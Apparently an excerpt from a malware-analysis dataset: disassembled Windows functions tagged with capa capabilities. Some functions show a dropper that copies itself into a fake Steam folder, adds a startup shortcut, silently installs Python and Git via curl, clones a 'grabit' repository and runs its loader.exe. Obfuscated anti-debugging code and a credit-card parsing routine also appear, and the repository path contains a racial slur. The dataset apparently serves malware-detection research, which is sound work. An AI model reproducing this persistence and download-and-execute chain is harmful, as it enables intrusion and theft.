joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b9fa
Capabilities:
Decode data using base64 via winapi

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
movaps xmmword [rsp + 0x40], xmm6
mov rdi, rdx
mov rsi, rcx
mov dword [rsp + 0x3c], 0
mov edx, dword [rdx + 0x10]
cmp qword [rdi + 0x18], 0x10
mov rcx, rdi
jb 0x14000ba2a
mov rcx, qword [rdi]
xorps xmm6, xmm6
movups xmmword [rsp + 0x28], xmm6
lea r15, [rsp + 0x3c]
mov qword [rsp + 0x20], r15
xor ebx, ebx
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov r14d, dword [r15]
movups xmmword [rsi], xmm6
mov qword [rsi + 0x10], 0
test r14, r14
je 0x14000ba97
mov rcx, r14
cmp r14d, 0x1000
jb 0x14000ba73
call fcn.140003c92
jmp 0x14000ba78
call fcn.140001316
mov rbx, rax
mov qword [rsi], rax
lea r12, [rax + r14]
mov qword [rsi + 0x10], r12
mov rcx, rax
xor edx, edx
mov r8, r14
call fcn.140004683
mov qword [rsi + 8], r12
mov edx, dword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x14000baa4
mov rdi, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], r15
mov rcx, rdi
mov r8d, 1
mov r9, rbx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret

Function at 0x14000edb2
Capabilities:
Parse credit card information

Disassembly:
jmp 0x14000edb2
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov ebp, edx
mov rsi, rcx
mov edi, 1
cmp edx, 0x3a
je 0x14000ede1
xor edi, edi
cmp ebp, 0x3d
je 0x14000ede1
xor eax, eax
cmp ebp, 0x2e
mov edi, 0xe
cmove edi, eax
mov rbx, qword [rsi]
xor r14d, r14d
movabs r15, 0x4800800000000001
mov eax, dword [rsi + 0x7c]
lea ecx, [rax + 1]
cmp ecx, 0x3e
ja 0x14000ee02
bt r15, rcx
jb 0x14000ee0f
mov rcx, rsi
call fcn.1400048d1
inc r14
jmp 0x14000edf1
cmp eax, ebp
jne 0x14000eebe
cmp ebp, 0x3a
jne 0x14000ee55
mov r8, qword [rsi]
mov rcx, qword [rsi + 0x68]
mov r9d, dword [rsi + 0x70]
shr r9d, 8
and r9d, 1
mov rdx, rbx
call fcn.140005c8b
test ax, ax
je 0x14000eec5
lea rcx, [rsi + 0x40]
mov rdx, qword [rsi + 0x48]
mov r8d, eax
xor r9d, r9d
call fcn.1400020d1
jmp 0x14000ee9c
cmp ebp, 0x2e
je 0x14000ee78
cmp ebp, 0x3d
jne 0x14000ee9c
mov r8, qword [rsi]
cmp rbx, r8
je 0x14000eecf
lea rcx, [rsi + 0x40]
mov rdx, rbx
mov r9, r14
call fcn.14000335a
jmp 0x14000ee9c
mov r8, qword [rsi]
cmp rbx, r8
je 0x14000eecf
lea rcx, [rsi + 0x40]
mov rax, qword [rsi + 0x48]
add rax, 0x20
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov r9, r14
call fcn.140005aa1
mov rcx, rsi
call fcn.1400048d1
cmp dword [rsi + 0x7c], 0x5d
jne 0x14000eebe
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.1400048d1
mov ecx, edi
call fcn.140004d45
mov ecx, 1
call fcn.140004d45
xor ecx, ecx
call fcn.140004d45
int3
Function at 0x140005778
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1424f1000]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400014c4
xor ebx, ebx
cmp qword [0x1424f3928], rbx
mov rdi, rax
jne 0x14000588b
lea rcx, str.USER32.DLL
call qword [sym.imp.kernel32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140005962
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140005962
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1424f3928], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1424f3930], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1424f3938], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov r11, rax
mov qword [0x1424f3948], rax
test rax, rax
je 0x140005882
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov qword [0x1424f3940], rax
jmp 0x140005892
mov rax, qword [0x1424f3940]
jmp 0x140005899
mov rax, qword [0x1424f3940]
mov r11, qword [0x1424f3948]
cmp rax, rdi
je 0x140005900
cmp r11, rdi
je 0x140005900
mov rcx, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov rcx, qword [0x1424f3948]
mov rsi, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140005900
test rax, rax
je 0x140005900
call rsi
test rax, rax
je 0x1400058fa
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400058fa
test byte [rsp + 0x40], 1
jne 0x140005900
bts ebp, 0x15
jmp 0x140005940
mov rcx, qword [0x1424f3930]
cmp rcx, rdi
je 0x140005940
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x140005940
call rax
mov rbx, rax
test rax, rax
je 0x140005940
mov rcx, qword [0x1424f3938]
cmp rcx, rdi
je 0x140005940
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x140005940
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1424f3928]
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x140005962
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140005964
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005384
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140005cab
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1424f1000]
jne 0x14000539e
rol rcx, 0x10
test cx, 0xffff
jne 0x14000539a
repz ret
ror rcx, 0x10
jmp 0x140005c04
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1424f39f0]
call qword [sym.imp.kernel32.dll_RtlCaptureContext]
mov rax, qword [0x1424f3ae8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.kernel32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140005c89
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1424f39f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.kernel32.dll_RtlVirtualUnwind
jmp 0x140005cab
mov rax, qword [rsp + 0x88]
mov qword [0x1424f3ae8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1424f3a88], rax
mov rax, qword [0x1424f3ae8]
mov qword [0x1424f3960], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1424f3a70], rax
mov dword [0x1424f3950], 0xc0000409
mov dword [0x1424f3954], 1
mov rax, qword [0x1424f1000]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1424f1008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1424f39e8], eax
mov ecx, 1
call fcn.140005764
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
lea rcx, str.P9OB
call qword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1424f39e8], 0
jne 0x140005d32
mov ecx, 1
call fcn.140005764
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.kernel32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0xa66993
Capabilities:
Execute anti-debugging instructions

Disassembly:
ret
inc ecx
test cl, spl
cmp r10b, r13b
cmc
or edi, eax
jmp 0x145f183
adc rbp, rcx
neg edi
bts si, 0x96
dec si
mov qword [rsp + rdi - 0x2150ff30], rbx
movsx ebx, dil
imul bx, r11w
sar rsi, 0xba
lea r11, [rsp + rdi - 0x2150ffb0]
neg bx
sub r8d, ebx
push r10
and dil, bl
adc r8w, di
and ebx, 0x1c079516
push rcx
lea rcx, [rdi + rdi*2 + 0x5f87a5b7]
sub rdi, 0xffffffff953de087
lea rdi, [r11 + rsi*4 - 0x284]
setp sil
and dil, 0xf0
rol esi, 1
mov rsp, rdi
mov ebx, 0x3f1e5fb4
mov r8, rbp
movabs rcx, 0
sar bx, 0x21
mov esi, ebx
or ebx, 0xc13e131e
sbb r8, rcx
not bx
xor bx, 0xef91
push rsi
lea rbx, [0x00a3ecb0]
lea rsp, [rsp + 8]
mov qword [rsp + rsi*2 + 0x6248d694], rdi
mov qword [rsp + r11*4 - 0x3072aa7c], r14
mov ebp, 0x809a7f3f
shl dil, 0x46
sar esi, 0xaa
mov ebp, dword [rsp + r11 - 0xc1caa2f]
inc ebp
add si, si
not r11w
not ebp
sub r11d, edi
lea rsi, [rsi + rdi + 0x2597ce17]
jle 0x1442962
jl 0x14606ed
mov qword [rsp + 0x28], rsi
rol al, 0x21
nop
mov eax, r10d
not ebx
btc r15w, bp
sal bx, cl
add rsp, 0x30
xchg r13b, r12b
pop r15
pop r14
movzx bx, r13b
movsx r13w, r15b
movsx rbx, r8w
pop r13
pop r12
pop rdi
movsx rbx, bp
movzx ebp, r13w
pop rbp
pop rbx
jmp 0xa4ddab
neg ebp
ror edi, 0x79
rol ebp, 2
inc ebp
xadd r11b, dil
mov r8d, 0xc431a4a8
jge 0xa61af3
movzx edx, byte [rbp + riz]
add rbp, 1
jmp 0x14542ff
call fcn.00a680ec
je 0xa6b6c4
movzx eax, byte [r9]
test r12b, 0x29
clc
test ebp, r8d
shl edi, 8
jmp 0xa52663
inc r9
cmp ecx, 5
jmp 0xa669d3
cmp r9, r13
jmp 0x145ce1b

Function at 0x14494e1
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea rsp, [rsp + 8]
call rax
push 0xffffffffcfb00e98
jmp 0xa43345
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x14000c210]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x14000c220]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call sym._amsg_exit
jmp 0x14000123c
mov rax, qword [0x14000c220]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x14000c220]
mov dword [rax], 1
mov rax, qword [0x14000c270]
mov rdx, rax
mov rax, qword [0x14000c260]
mov rcx, rax
call sym._initterm
jmp 0x14000123c
mov dword [0x14001c024], 1
mov rax, qword [0x14000c220]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x14000c250]
mov rdx, rax
mov rax, qword [0x14000c240]
mov rcx, rax
call sym._initterm
mov rax, qword [0x14000c220]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x14000c210]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x14000c160]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x14000c160]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call sym._pei386_runtime_relocator
mov rax, qword [sym._gnu_exception_handler]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x14000c200]
mov qword [rdx], rax
lea rax, [sym.__mingw_invalidParameterHandler]
mov rcx, rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov eax, dword [0x14001c004]
lea rdx, [0x14001c008]
mov ecx, eax
call sym.duplicate_ppstrings
call sym.__main
mov rax, qword [0x14000c190]
mov rax, qword [rax]
mov rdx, qword [0x14001c010]
mov qword [rax], rdx
mov rcx, qword [0x14001c010]
mov rdx, qword [0x14001c008]
mov eax, dword [0x14001c004]
mov r8, rcx
mov ecx, eax
call sym.main
mov dword [0x14001c01c], eax
mov eax, dword [0x14001c020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14001c01c]
mov ecx, eax
call sym.exit
mov eax, dword [0x14001c024]
test eax, eax
jne 0x14000136c
call sym._cexit
mov eax, dword [0x14001c01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000c1c0]
mov dword [rax], 1
mov rax, qword [0x14000c1d0]
mov dword [rax], 1
mov rax, qword [0x14000c1e0]
mov dword [rax], 1
mov rax, qword [0x14000c180]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016d0
Capabilities:
Get common file path
Get startup folder

Disassembly:
sub rsp, 0x368
mov qword [rsp + 0x360], rcx
lea rax, [rsp + 0x250]
xor ecx, ecx
mov r8d, ecx
mov edx, 7
xor r9d, r9d
mov rcx, r8
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rcx, [rsp + 0x250]
lea rdx, str.MonApplication.lnk
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov rcx, qword [0x14000c0e0]
xor eax, eax
mov edx, eax
mov r8d, 1
mov r9, qword [0x14000c0f0]
lea rax, [rsp + 0x240]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rsp + 0x24c], eax
cmp dword [rsp + 0x24c], 0
jl 0x140001811
mov rcx, qword [rsp + 0x240]
mov rdx, qword [rsp + 0x360]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rsp + 0x240]
mov rax, qword [rcx]
mov rdx, qword [0x14000c0e8]
lea r8, [rsp + 0x238]
call qword [rax]
mov dword [rsp + 0x24c], eax
cmp dword [rsp + 0x24c], 0
jl 0x140001803
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x208
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea r8, [rsp + 0x250]
lea rax, [rsp + 0x30]
xor edx, edx
mov r9d, 0xffffffff
mov ecx, edx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x104
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [rsp + 0x238]
lea rdx, [rsp + 0x30]
mov rax, qword [rcx]
mov r8d, 1
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x238]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x240]
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
add rsp, 0x368
ret
Function at 0x140001820
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0xe8
mov qword [rsp + 0xd8], rcx
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x68
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], 1
mov word [rsp + 0xb0], 0
lea rcx, [rsp + 0x58]
xor edx, edx
mov r8d, 0x18
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rdx, qword [rsp + 0xd8]
xor eax, eax
mov r9d, eax
xor eax, eax
lea r10, [rsp + 0x70]
lea rax, [rsp + 0x58]
mov rcx, r9
mov r8, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 0
jne 0x1400018da
mov dword [rsp + 0xe4], 0xffffffff
jmp 0x14000190b
mov rcx, qword [rsp + 0x58]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0xe4], 0
mov eax, dword [rsp + 0xe4]
add rsp, 0xe8
ret

Function at 0x140001920
Capabilities:
Delete file
Get common file path
Set current directory

Disassembly:
sub rsp, 0x188
lea rcx, [rsp + 0x140]
lea rdx, str._C:Program_FilesPython310python.exe____version__nul_2_1
mov r8d, 0x3c
call sym.memcpy
lea rcx, [rsp + 0x140]
call sym.RunCommand_char_const_
cmp eax, 0
je 0x140001a62
lea rax, [rsp + 0x30]
xor ecx, ecx
mov r8d, ecx
mov edx, 5
xor r9d, r9d
mov rcx, r8
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 0
jl 0x140001990
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp 0x140001995
jmp 0x140001a8b
lea rcx, str.python_installer.exe
xor edx, edx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
cmp eax, 0xffffffff
jne 0x1400019cc
lea rcx, str.curl__Lo_python_installer.exe_https:__www.python.org_ftp_python_3.10.4_python_3.10.4_amd64.exe__nul_2_1
call sym.RunCommand_char_const_
cmp eax, 0
je 0x1400019c7
jmp 0x140001a8b
jmp 0x1400019cc
lea rcx, str.python_installer.exe__quiet_InstallAllUsers1_PrependPath1_AddPythonToPath1__nul_2_1
call sym.RunCommand_char_const_
cmp eax, 0
je 0x1400019e6
jmp 0x140001a8b
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x140]
call sym.RunCommand_char_const_
mov ecx, eax
xor eax, eax
cmp ecx, 0
mov byte [rsp + 0x2b], al
je 0x140001a18
cmp dword [rsp + 0x2c], 5
setl al
mov byte [rsp + 0x2b], al
mov al, byte [rsp + 0x2b]
test al, 1
jne 0x140001a29
jmp 0x140001a39
mov eax, dword [rsp + 0x2c]
add eax, 1
mov dword [rsp + 0x2c], eax
jmp 0x1400019ee
lea rcx, str.python_installer.exe
xor edx, edx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
cmp eax, 0xffffffff
je 0x140001a5d
lea rcx, str.python_installer.exe
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
jmp 0x140001a8b
lea rcx, str.python_installer.exe
xor edx, edx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
cmp eax, 0xffffffff
je 0x140001a86
lea rcx, str.python_installer.exe
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
jmp 0x140001a8b
add rsp, 0x188
ret
Function at 0x140001ae0
Capabilities:
Delete file
Get common file path
Set current directory

Disassembly:
sub rsp, 0x148
lea rax, str.C:Program_FilesGitcmdgit.exe
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
call sym.git_check_char_const_
cmp eax, 0
je 0x140001bbe
lea rax, [rsp + 0x30]
xor ecx, ecx
mov r8d, ecx
mov edx, 5
xor r9d, r9d
mov rcx, r8
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 0
jl 0x140001b45
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp 0x140001b4a
jmp 0x140001bbe
lea rcx, str.git_installer.exe
xor edx, edx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
cmp eax, 0xffffffff
jne 0x140001b6e
lea rcx, str.curl__Lo_git_installer.exe_https:__github.com_git_for_windows_git_releases_download_v2.40.1.windows.1_Git_2.40.1_64_bit.exe
call sym.RunCommand_char_const_
lea rcx, str.git_installer.exe__VERYSILENT__NORESTART
call sym.RunCommand_char_const_
mov rcx, qword [rsp + 0x140]
call sym.git_check_char_const_
cmp eax, 0
je 0x140001b95
jmp 0x140001b7a
lea rcx, str.git_installer.exe
xor edx, edx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
cmp eax, 0xffffffff
je 0x140001bb9
lea rcx, str.git_installer.exe
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
jmp 0x140001bbe
add rsp, 0x148
ret

Function at 0x140001c60
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x30], rcx
mov r8, qword [rsp + 0x30]
xor eax, eax
mov r9d, eax
lea rdx, str.open
mov rcx, r9
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0xa
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
add rsp, 0x38
ret
Function at 0x140001ca0
Capabilities:
Check if file exists
Copy file
Create directory

Disassembly:
push rbp
sub rsp, 0x460
lea rbp, [rsp + 0x80]
call sym.__main
mov dword [rbp + 0x3dc], 0
xor eax, eax
mov ecx, eax
call qword [sym.imp.ole32.dll_CoInitialize]
cmp eax, 0
jge 0x140001ce1
mov dword [rbp + 0x3dc], 1
jmp 0x140001e3c
lea rdx, [rbp + 0x2d0]
xor eax, eax
mov ecx, eax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
jne 0x140001d10
mov dword [rbp + 0x3dc], 1
jmp 0x140001e3c
lea rcx, [rbp + 0x1c0]
lea rdx, str.C:Program_Files__x86_Steam_bin_
mov r8d, 0x104
call sym.memcpy
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 0
jne 0x140001d71
lea rdx, [rbp + 0x1c0]
xor eax, eax
mov r8d, eax
mov rcx, r8
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
cmp eax, 0
je 0x140001d6c
mov dword [rbp + 0x3dc], 1
jmp 0x140001e3c
jmp 0x140001d71
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov qword [rbp + 0x1b8], rax
lea rcx, [rbp + 0xb0]
lea r8, [rbp + 0x1c0]
mov r9, qword [rbp + 0x1b8]
lea rdx, str._s_s
call sym.sprintf_char__char_const__::_
lea rcx, [rbp + 0x2d0]
lea rdx, [rbp + 0xb0]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, 0
jne 0x140001dd5
mov dword [rbp + 0x3dc], 1
jmp 0x140001e3c
lea rcx, [rbp + 0xb0]
call sym.runOnStartup_char_const_
call sym.python_check__
call sym.check_deps__
lea rax, str.https:__github.com_negro_from_coton_grabit.git
mov qword [rbp + 0xa8], rax
mov rcx, qword [rbp + 0xa8]
lea rdx, [rbp + 0x1c0]
call sym.clone_char_const__char_const_
lea rcx, [rbp - 0x60]
lea r8, [rbp + 0x1c0]
lea rdx, str._sloader.exe
call sym.sprintf_char__char_const__::_
lea rcx, [rbp - 0x60]
call sym.exec_file_char_const_
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rbp + 0x3dc], 0
mov eax, dword [rbp + 0x3dc]
add rsp, 0x460
pop rbp
ret

Function at 0x1400021b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop